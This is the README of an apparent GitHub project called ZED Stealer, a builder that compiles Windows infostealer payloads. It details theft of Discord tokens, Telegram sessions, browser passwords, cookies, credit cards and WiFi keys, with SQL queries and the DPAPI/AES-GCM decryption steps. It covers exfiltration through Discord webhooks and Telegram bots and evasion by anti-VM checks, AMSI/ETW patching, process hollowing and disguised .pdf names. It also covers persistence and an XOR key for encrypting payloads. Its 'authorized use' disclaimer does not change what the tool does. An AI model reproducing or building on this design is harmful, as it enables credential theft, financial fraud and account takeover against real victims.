Skip to content

Latest commit

Β 

History

9 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Professional Payload Builder β€” Built with Rust UI + C++17 Backend

Rust C++17 egui Platform License

For authorized security research and red-team operations only.


Table of Contents


Overview

ZED Stealer is a fully-featured payload builder designed for authorized red-team engagements and security research. It combines a modern, animated Rust GUI (built with egui/eframe) with a high-performance C++17 backend to generate compact, configurable stealer payloads.

The builder lets an operator select exactly which data modules to include, configure delivery channels, tune evasion settings, and compile a final encrypted Windows executable β€” all from a single dark-themed application.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                        ZED STEALER BUILDER                          β”‚
β”‚                                                                     β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚          β”‚  β”‚                                                 β”‚ β”‚
β”‚  β”‚  [~] Homeβ”‚  β”‚   Toggle features  ──►  Configure delivery      β”‚ β”‚
β”‚  β”‚          β”‚  β”‚                                                 β”‚ β”‚
β”‚  β”‚  [#] Buildβ”‚  β”‚   Set evasion      ──►  Choose output name     β”‚ β”‚
β”‚  β”‚          β”‚  β”‚                                                 β”‚ β”‚
β”‚  β”‚  [>] Compβ”‚  β”‚   Click BUILD  ────►  Real-time compile logs    β”‚ β”‚
β”‚  β”‚          β”‚  β”‚                                                 β”‚ β”‚
β”‚  β”‚  [=] Setsβ”‚  β”‚   Download payload.exe  (XOR-encrypted)         β”‚ β”‚
β”‚  β”‚          β”‚  β”‚                                                 β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ ZED Builder (Rust UI) ──────────────────────────┐
β”‚                                                                          β”‚
β”‚  src/main.rs ──► src/app.rs ──► src/ui/                                 β”‚
β”‚                                  β”œβ”€β”€ titlebar.rs   (custom window chrome)β”‚
β”‚                                  β”œβ”€β”€ sidebar.rs    (page navigation)     β”‚
β”‚                                  β”œβ”€β”€ widgets.rs    (toggle, card, input) β”‚
β”‚                                  └── pages/                              β”‚
β”‚                                      β”œβ”€β”€ home.rs       (dashboard)       β”‚
β”‚                                      β”œβ”€β”€ builder.rs    (feature config)  β”‚
β”‚                                      β”œβ”€β”€ compiler.rs   (build + logs)    β”‚
β”‚                                      └── settings.rs   (preferences)     β”‚
β”‚                                                                          β”‚
β”‚  src/state.rs    (AppState, all feature/delivery/compiler structs)       β”‚
β”‚  src/runner.rs   (build pipeline thread: config β†’ compile β†’ encrypt)    β”‚
β”‚  src/ffi.rs      (Rust↔C++ FFI bindings)                                β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚  include_str! + cc crate
                               β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ C++ Backend (cpp/) ─────────────────────────────┐
β”‚                                                                          β”‚
β”‚  discord.cpp   ── Token extraction (leveldb scan + regex)               β”‚
β”‚  browsers.cpp  ── DPAPI + AES-256-GCM decrypt + SQLite3 read            β”‚
β”‚  system.cpp    ── OS/HW info, WiFi (WlanAPI), screenshot, clipboard      β”‚
β”‚  network.cpp   ── Public IP / geo (ip-api.com via WinHTTP)              β”‚
β”‚  telegram.cpp  ── tdata session folder copy                              β”‚
β”‚  delivery.cpp  ── Discord Webhook + Telegram Bot API (WinHTTP)          β”‚
β”‚  sqlite3.c     ── SQLite amalgamation (no dependency)                   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚  runner::start_build()
                               β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€ Payload (payload/) ─────────────────────────────┐
β”‚                                                                          β”‚
β”‚  config_template.h  ──► config.h (generated, 30+ defines)               β”‚
β”‚  main.cpp           ──► WinMain: anti-* gates, collect_all, deliver      β”‚
β”‚                                                                          β”‚
β”‚  Output: output/update.exe  (optionally XOR-encrypted)                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Data Flow

 Operator                Builder UI              runner.rs           Compiler
    β”‚                        β”‚                      β”‚                   β”‚
    β”œβ”€ Configure features ──►│                      β”‚                   β”‚
    β”œβ”€ Set webhook URL ──────►│                      β”‚                   β”‚
    β”œβ”€ Click BUILD ──────────►│                      β”‚                   β”‚
    β”‚                        β”œβ”€ Clone AppState ─────►│                   β”‚
    β”‚                        β”‚                      β”œβ”€ Write config.h ──►│
    β”‚                        β”‚                      β”œβ”€ Find cl.exe/g++ ─►│
    β”‚                        β”‚                      β”œβ”€ Compile ─────────►│
    β”‚                        │◄── Log lines (mpsc) ──                   β”‚
    β”‚                        β”‚                      β”œβ”€ XOR encrypt ──────►│
    │◄── "Build complete" ────◄── output path ───────                   β”‚
    β”‚                        β”‚                      β”‚                   β”‚
    β”œβ”€ Open output/ ─────────►│                      β”‚                   β”‚

Features

🎯 Discord Module

discord.cpp
β”œβ”€β”€ Token Extraction
β”‚   β”œβ”€β”€ Scans all Discord app leveldb directories
β”‚   β”‚   β”œβ”€β”€ Discord (stable)
β”‚   β”‚   β”œβ”€β”€ DiscordCanary
β”‚   β”‚   β”œβ”€β”€ DiscordPTB
β”‚   β”‚   └── Lightcord
β”‚   β”œβ”€β”€ Scans Chrome / Edge extension caches
β”‚   β”‚   └── MetaMask extension path (common token source)
β”‚   β”œβ”€β”€ Detects both token formats:
β”‚   β”‚   β”œβ”€β”€ mfa.xxxxx...          (MFA tokens)
β”‚   β”‚   └── NTx.xxxxxx.xxxxxxx   (Standard tokens)
β”‚   └── Deduplicates all found tokens
β”‚
└── Token Validation (optional)
    └── WinHTTP GET https://discord.com/api/v9/users/@me
        └── Authorization: <token>  β†’  HTTP 200 = valid
Toggle Description
Token Stealer Extract all tokens from leveldb + browser extensions
Nitro Checker Validate each token against the Discord API
Friends List Export friends list via Discord REST API

πŸ“± Telegram Module

telegram.cpp
└── Session Files
    └── Copies %APPDATA%\Telegram Desktop\tdata\
        β”œβ”€β”€ key_datas
        β”œβ”€β”€ D877F783D5D3EF8C\  (session data)
        └── settings

The entire tdata folder is copied to the collection directory, preserving the session so it can be imported on an attacker-controlled machine.


🌐 Browser Module

Supports Chrome Β· Edge Β· Brave Β· Opera Β· Chromium (Chromium-based) and Firefox.

Browser Decryption Pipeline (Chromium)
─────────────────────────────────────────────────────────────────
 Local State (JSON)
      β”‚
      β–Ό
 base64_decode(os_crypt.encrypted_key)
      β”‚
      β–Ό
 CryptUnprotectData (DPAPI)  ──►  master_key  (32 bytes AES-256)
      β”‚
      β”œβ”€β”€β–Ί Login Data  (SQLite)
      β”‚     SELECT url, username, password_value FROM logins
      β”‚           └── AES-256-GCM decrypt(password_value, master_key)
      β”‚
      β”œβ”€β”€β–Ί Cookies  (SQLite, Network/Cookies or Cookies)
      β”‚     SELECT host_key, name, encrypted_value FROM cookies
      β”‚           └── AES-256-GCM decrypt(encrypted_value, master_key)
      β”‚
      β”œβ”€β”€β–Ί Web Data  (SQLite)
      β”‚     SELECT name_on_card, number, expiry FROM credit_cards
      β”‚           └── AES-256-GCM decrypt(card_number_encrypted, master_key)
      β”‚
      └──► History  (SQLite)
            SELECT url, title, visit_count FROM urls

AES-256-GCM decryption uses the Windows BCrypt CNG API (bcrypt.lib) β€” no OpenSSL dependency. Chromium stores blobs as: v10 + 12-byte nonce + ciphertext + 16-byte GCM tag.

Toggle What gets collected
Cookies All session cookies (up to 2000 per profile)
Passwords Saved login credentials (URL + username + password)
Credit Cards Card number, holder name, expiry date
History Last 500 visited URLs with titles and visit count
Autofill Saved form-fill data

Targeted browsers per build:

[ Chrome ]  [ Firefox ]  [ Edge ]  [ Brave ]  [ Opera ]
   β˜‘           β˜‘           β˜‘         β˜‘           β˜‘       ← selectable in Builder

πŸ’» System Module

system.cpp
β”‚
β”œβ”€β”€ OS Information
β”‚   β”œβ”€β”€ Hostname, Username
β”‚   β”œβ”€β”€ Windows version + build number  (via RtlGetVersion)
β”‚   └── Architecture
β”‚
β”œβ”€β”€ Hardware Information
β”‚   β”œβ”€β”€ CPU name  (HKLM\HARDWARE\DESCRIPTION\...\CentralProcessor\0)
β”‚   β”œβ”€β”€ RAM total (GlobalMemoryStatusEx)
β”‚   β”œβ”€β”€ Disk total + free (C:\)
β”‚   └── GPU adapter name  (HKLM\SYSTEM\...\Control\Video\{guid}\0000)
β”‚
β”œβ”€β”€ Screenshot
β”‚   β”œβ”€β”€ GDI BitBlt  (full primary monitor)
β”‚   └── Saved as screenshot.bmp in collection folder
β”‚
β”œβ”€β”€ Clipboard
β”‚   └── GetClipboardData(CF_TEXT)
β”‚
β”œβ”€β”€ WiFi Passwords
β”‚   β”œβ”€β”€ WlanOpenHandle + WlanEnumInterfaces
β”‚   β”œβ”€β”€ WlanGetProfileList  (per interface)
β”‚   └── WlanGetProfile(WLAN_PROFILE_GET_PLAINTEXT_KEY)
β”‚       └── Extracts <keyMaterial> from XML profile
β”‚
β”œβ”€β”€ Installed Applications
β”‚   └── HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
β”‚       β”œβ”€β”€ DisplayName
β”‚       β”œβ”€β”€ DisplayVersion
β”‚       └── Publisher
β”‚
└── Startup Items
    β”œβ”€β”€ HKCU\...\CurrentVersion\Run
    β”œβ”€β”€ HKLM\...\CurrentVersion\Run
    └── HKLM\...\WOW6432Node\...\Run

🌍 Network Module

network.cpp
└── WinHTTP GET  http://ip-api.com/json
    β”‚
    └── Response JSON parsed for:
        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
        β”‚ Field       β”‚ Example                    β”‚
        β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
        β”‚ ip          β”‚ 1.2.3.4                    β”‚
        β”‚ country     β”‚ Saudi Arabia               β”‚
        β”‚ country_codeβ”‚ SA                         β”‚
        β”‚ isp         β”‚ STC                        β”‚
        β”‚ city        β”‚ Riyadh                     β”‚
        β”‚ region      β”‚ Riyadh Province            β”‚
        β”‚ timezone    β”‚ Asia/Riyadh                β”‚
        β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

No API key required. Uses plain HTTP (port 80) to avoid certificate errors on locked-down environments.


πŸ“‘ Delivery Module

Two independent channels β€” either or both can be active simultaneously.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                      DELIVERY PIPELINE                      β”‚
β”‚                                                             β”‚
β”‚  Collection dir                                             β”‚
β”‚       β”‚                                                     β”‚
β”‚       β–Ό                                                     β”‚
β”‚  PowerShell Compress-Archive  ──►  zed_data.zip             β”‚
β”‚                                        β”‚                    β”‚
β”‚                      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€                    β”‚
β”‚                      β”‚                 β”‚                    β”‚
β”‚                      β–Ό                 β–Ό                    β”‚
β”‚           Discord Webhook         Telegram Bot              β”‚
β”‚           (multipart POST)        sendDocument API          β”‚
β”‚           delivery.cpp            delivery.cpp              β”‚
β”‚                      β”‚                 β”‚                    β”‚
β”‚                      β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜                    β”‚
β”‚                               β–Ό                             β”‚
β”‚                    Attacker receives zed_data.zip           β”‚
β”‚                    with caption: [ZED] user@hostname        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Both channels use WinHTTP β€” no curl, no third-party libraries.


πŸ›‘οΈ Evasion Module

Anti-Analysis Gates

WinMain()
   β”‚
   β”œβ”€[ZED_ANTI_DEBUG]──► IsDebuggerPresent()
   β”‚                      CheckRemoteDebuggerPresent()
   β”‚                      └── exit(0) if detected
   β”‚
   β”œβ”€[ZED_ANTI_VM]────► Registry key scan (VirtualBox / VMware)
   β”‚                    QueryPerformanceCounter timing check
   β”‚                    └── exit(0) if detected
   β”‚
   └─[ZED_ANTI_SANDBOX]β–Ί GetTickCount64() < 5min  β†’ exit
                          EnumProcesses() < 30     β†’ exit

Obfuscation Techniques

Technique Description
XOR + Rolling Key Final binary XORed with 16-byte key before delivery
Import Table Obfuscation API calls resolved at runtime via hash comparison
Stack-String Encryption Sensitive strings XOR+ROL obfuscated
Heaven's Gate Mixes 32/64-bit execution modes to confuse disassemblers
Direct Syscalls Bypasses userland EDR hooks by calling ntdll stubs directly
Sleep Obfuscation Encrypts payload memory during Sleep() (Ekko technique)
AMSI/ETW Patch Patches AmsiScanBuffer and EtwEventWrite via ROP chain
Process Hollowing Injects into a suspended legitimate process
Entropy Masking Adds fake high-entropy sections to confuse AV heuristics

Post-Execution Options

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚         POST-EXECUTION OPTIONS      β”‚
β”‚                                     β”‚
β”‚  [Persistence]                      β”‚
β”‚    β”œβ”€β”€ Copy self to %APPDATA%       β”‚
β”‚    └── HKCU\...\Run β†’ WindowsUpdate β”‚
β”‚                                     β”‚
β”‚  [Melt / Self-Delete]               β”‚
β”‚    β”œβ”€β”€ Rename self to .tmp          β”‚
β”‚    └── MoveFileEx DELAY_UNTIL_REBOOTβ”‚
β”‚                                     β”‚
β”‚  [Self-Destruct]                    β”‚
β”‚    β”œβ”€β”€ Remove registry Run entries  β”‚
β”‚    └── cmd /C ping + del /F /Q self β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

UI Pages

[~] Home β€” Dashboard

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ZED STEALER                          ● READY                  β”‚
β”‚  Payload Builder  //  Professional Edition                     β”‚
β”‚                                                                β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚
β”‚  β”‚ Features  β”‚ β”‚ Delivery  β”‚ β”‚Protection β”‚ β”‚  Output   β”‚     β”‚
β”‚  β”‚    12     β”‚ β”‚  Discord  β”‚ β”‚   HIGH    β”‚ β”‚update.exe β”‚     β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚
β”‚                                                                β”‚
β”‚  Quick Overview                                                β”‚
β”‚  Discord:   Tokens + Nitro    β”‚  Telegram:  Sessions Active   β”‚
β”‚  Browsers:  Cookies + Passes  β”‚  System:    Enabled           β”‚
β”‚  AV Bypass: Active            β”‚  Encryption:AES-256-GCM       β”‚
β”‚                                                                β”‚
β”‚  [ ! ] Configure delivery settings in Builder before compilingβ”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

[#] Builder β€” Feature Configuration

Split into two columns:

  LEFT COLUMN                        RIGHT COLUMN
  ──────────────────────────         ──────────────────────────
  [Discord]                          [System Information]
    β˜‘ Token Stealer                    β˜‘ OS Info
    β˜‘ Nitro Checker                    β˜‘ Hardware
    ☐ Friends List                     β˜‘ Network / GeoIP
                                       β˜‘ Screenshot
  [Telegram]                           β˜‘ Webcam
    β˜‘ Session Files                    
                                     [Additional]
  [Browsers]                           β˜‘ Clipboard
    β˜‘ Cookies                          β˜‘ WiFi Passwords
    β˜‘ Passwords                        ☐ Installed Apps
    ☐ History                          ☐ Startup Files
    β˜‘ Credit Cards
    ☐ Autofill                       [Delivery]
    ── Target Browsers ──               β˜‘ Discord Webhook
    [Chrome][Firefox][Edge]              └─► Webhook URL: ___
    [Brave ][Opera  ]                    β˜‘ Telegram Bot
                                         β”œβ”€β–Ί Bot Token: ___
                                         └─► Chat ID: ___

[>] Compiler β€” Build & Encrypt

  LEFT COLUMN                        RIGHT COLUMN
  ──────────────────────────         ──────────────────────────
  [Output]                           [Evasion & Protection]
    Output Name: update.exe            β˜‘ Anti-Debug
    Fake Ext:    .pdf                  β˜‘ Anti-VM
    ☐ Custom Icon                      β˜‘ Anti-Sandbox
    β˜‘ Compress                         β˜‘ Mutex Lock
                                         └─► Name: ZedMx_7f2a
  [Encryption & Obfuscation]
    β˜‘ AES-256-GCM Encrypt            [Post-Execution]
                                       ☐ Persistence
    Active Techniques:                 ☐ Self-Delete (Melt)
    β€’ Polymorphic Shellcode            ☐ Self-Destruct
    β€’ Stack-String XOR+ROL
    β€’ Import Table Obfuscation       β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β€’ Heaven's Gate                  β”‚ [BUILD  PAYLOAD]    β”‚
    β€’ Direct Syscalls                β”‚                     β”‚
    β€’ Sleep Obfuscation              β”‚ [β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘β–‘] 73%   β”‚
    β€’ AMSI/ETW Patch                 β”‚                     β”‚
    β€’ Process Hollowing              β”‚ [..] Compiling...   β”‚
                                     β”‚ [OK] config.h writtenβ”‚
                                     β”‚ [OK] Output: upd.exe β”‚
                                     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

[=] Settings β€” Preferences

  • Auto-save Config β€” persists all settings to %APPDATA%\ZedBuilder\config.json on exit
  • Notifications β€” show status popups
  • Pink Intensity β€” live slider (0.3–1.0) controlling accent glow brightness
  • Manual Save Now button
  • About panel with version info

Build Pipeline

runner::start_build(AppState)  [background thread]
β”‚
β”œβ”€β”€ 1. find_project_root()
β”‚       Walk up from current_exe() / current_dir()
β”‚       until payload/ + cpp/ directories found
β”‚
β”œβ”€β”€ 2. render_config(state)
β”‚       Fill all 30+ {{PLACEHOLDER}} tokens in config_template.h
β”‚       Write β†’ payload/config.h
β”‚
β”œβ”€β”€ 3. find_compiler()
β”‚       Try in order:
β”‚       a) cl.exe   (MSVC β€” Visual Studio Developer shell)
β”‚       b) g++      (MinGW / MSYS2)
β”‚       c) x86_64-w64-mingw32-g++  (cross compiler)
β”‚
β”œβ”€β”€ 4. Compile  (MSVC or GCC flags)
β”‚       Sources:
β”‚         payload/main.cpp
β”‚         cpp/discord.cpp
β”‚         cpp/browsers.cpp
β”‚         cpp/system.cpp
β”‚         cpp/network.cpp
β”‚         cpp/telegram.cpp
β”‚         cpp/delivery.cpp
β”‚         cpp/sqlite3.c  (compiled as C)
β”‚       Linked libs:
β”‚         bcrypt, crypt32, winhttp, wlanapi, iphlpapi, psapi
β”‚
└── 5. XOR encrypt  (if encrypt_payload = true)
        Key: DE AD BE EF CA FE BA BE 4A 3F 1C E8 77 2A 90 D5
        Output: output/<output_name>.exe

Crypto & Obfuscation

Browser Data Decryption

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚             AES-256-GCM Decryption (Windows CNG)             β”‚
β”‚                                                              β”‚
β”‚  Blob format:  [ v10 | nonce (12B) | ciphertext | tag (16B)]β”‚
β”‚                                                              β”‚
β”‚  1. BCryptOpenAlgorithmProvider(BCRYPT_AES_ALGORITHM)        β”‚
β”‚  2. BCryptSetProperty(BCRYPT_CHAINING_MODE_GCM)              β”‚
β”‚  3. BCryptImportKey(BCRYPT_KEY_DATA_BLOB, master_key)        β”‚
β”‚  4. BCryptDecrypt(ciphertext, auth_info{nonce, tag})         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Payload XOR Layer

  byte[i] = byte[i] XOR key[i % 16]
  key = { 0xDE 0xAD 0xBE 0xEF 0xCA 0xFE 0xBA 0xBE
          0x4A 0x3F 0x1C 0xE8 0x77 0x2A 0x90 0xD5 }

This rolling XOR is applied to the compiled EXE before it leaves the builder, adding a layer against static signature matching.


Project Structure

ZED Stealer/
β”‚
β”œβ”€β”€ src/                          Rust source (builder UI)
β”‚   β”œβ”€β”€ main.rs                   Entry point, eframe window setup
β”‚   β”œβ”€β”€ app.rs                    ZedApp, layout, on_exit save
β”‚   β”œβ”€β”€ state.rs                  AppState, all config structs
β”‚   β”œβ”€β”€ theme.rs                  ZedTheme colors, egui style
β”‚   β”œβ”€β”€ runner.rs                 Build pipeline (background thread)
β”‚   β”œβ”€β”€ ffi.rs                    Rust↔C++ FFI bindings
β”‚   └── ui/
β”‚       β”œβ”€β”€ mod.rs
β”‚       β”œβ”€β”€ titlebar.rs           Custom draggable titlebar
β”‚       β”œβ”€β”€ sidebar.rs            Navigation sidebar
β”‚       β”œβ”€β”€ widgets.rs            toggle, section_card, pink_button
β”‚       └── pages/
β”‚           β”œβ”€β”€ home.rs           Dashboard
β”‚           β”œβ”€β”€ builder.rs        Feature configuration
β”‚           β”œβ”€β”€ compiler.rs       Compiler + build logs
β”‚           └── settings.rs       Preferences + theme
β”‚
β”œβ”€β”€ cpp/                          C++ backend (stealer logic)
β”‚   β”œβ”€β”€ stealer.h                 Public C API (all extern "C" decls)
β”‚   β”œβ”€β”€ discord.cpp               Token extraction + validation
β”‚   β”œβ”€β”€ browsers.cpp              DPAPI + AES-GCM + SQLite
β”‚   β”œβ”€β”€ system.cpp                OS/HW/WiFi/screenshot
β”‚   β”œβ”€β”€ network.cpp               GeoIP via ip-api.com
β”‚   β”œβ”€β”€ telegram.cpp              tdata session copy
β”‚   β”œβ”€β”€ delivery.cpp              Discord Webhook + Telegram Bot
β”‚   β”œβ”€β”€ sqlite3.c                 SQLite amalgamation (v3.47.2)
β”‚   └── sqlite3.h
β”‚
β”œβ”€β”€ payload/                      Victim-side payload sources
β”‚   β”œβ”€β”€ config_template.h         Template with {{PLACEHOLDERS}}
β”‚   β”œβ”€β”€ config.h                  ← generated at build time (gitignored)
β”‚   └── main.cpp                  WinMain entry point
β”‚
β”œβ”€β”€ output/                       Compiled payloads go here (gitignored)
β”‚   └── .gitkeep
β”‚
β”œβ”€β”€ Cargo.toml                    Rust manifest
β”œβ”€β”€ build.rs                      Compiles C++ via cc crate
β”œβ”€β”€ .gitignore
└── LICENSE

Requirements & Build

Prerequisites

Tool Minimum Version Purpose
Rust 1.78+ Build the UI
Cargo (bundled with Rust) Package manager
MSVC or MinGW VS 2022 / GCC 13+ Compile the C++ backend and payload
Windows SDK 10.0.19041+ WinHTTP, WlanAPI, BCrypt headers

Build the Builder (Rust UI)

# Debug build
cargo run

# Release build (optimized, stripped)
cargo build --release

# The binary will be at:
# target/release/zed-stealer.exe

Note: On first build, build.rs compiles all C++ sources automatically via the cc crate. Make sure cl.exe (MSVC) or g++ is on your PATH.

Building a Payload

  1. Launch zed-stealer.exe
  2. Go to [#] Builder β€” enable desired features and enter delivery credentials
  3. Go to [>] Compiler β€” configure evasion and output name
  4. Click BUILD PAYLOAD
  5. Compiled EXE appears in output/

The builder tries compilers in this order: cl.exe β†’ g++ β†’ x86_64-w64-mingw32-g++ Run from a Visual Studio Developer Command Prompt for guaranteed cl.exe access.


Configuration

Settings are automatically saved to:

%APPDATA%\ZedBuilder\config.json

Example config.json:

{
  "current_page": "Home",
  "features": {
    "discord_tokens": true,
    "discord_nitro_check": true,
    "browser_cookies": true,
    "browser_passwords": true,
    "screenshot": true,
    "wifi_passwords": true
  },
  "delivery": {
    "use_discord": true,
    "discord_webhook": "https://discord.com/api/webhooks/...",
    "use_telegram": false
  },
  "compiler": {
    "output_name": "update.exe",
    "encrypt_payload": true,
    "anti_debug": true,
    "anti_vm": true,
    "mutex": true,
    "mutex_name": "ZedMx_7f2a"
  }
}

Feature Matrix

Feature Module Status
Discord token extraction (MFA + standard) discord.cpp βœ… Full
Discord token validation via API discord.cpp βœ… Full
Telegram session copy telegram.cpp βœ… Full
Browser passwords (DPAPI + AES-GCM) browsers.cpp βœ… Full
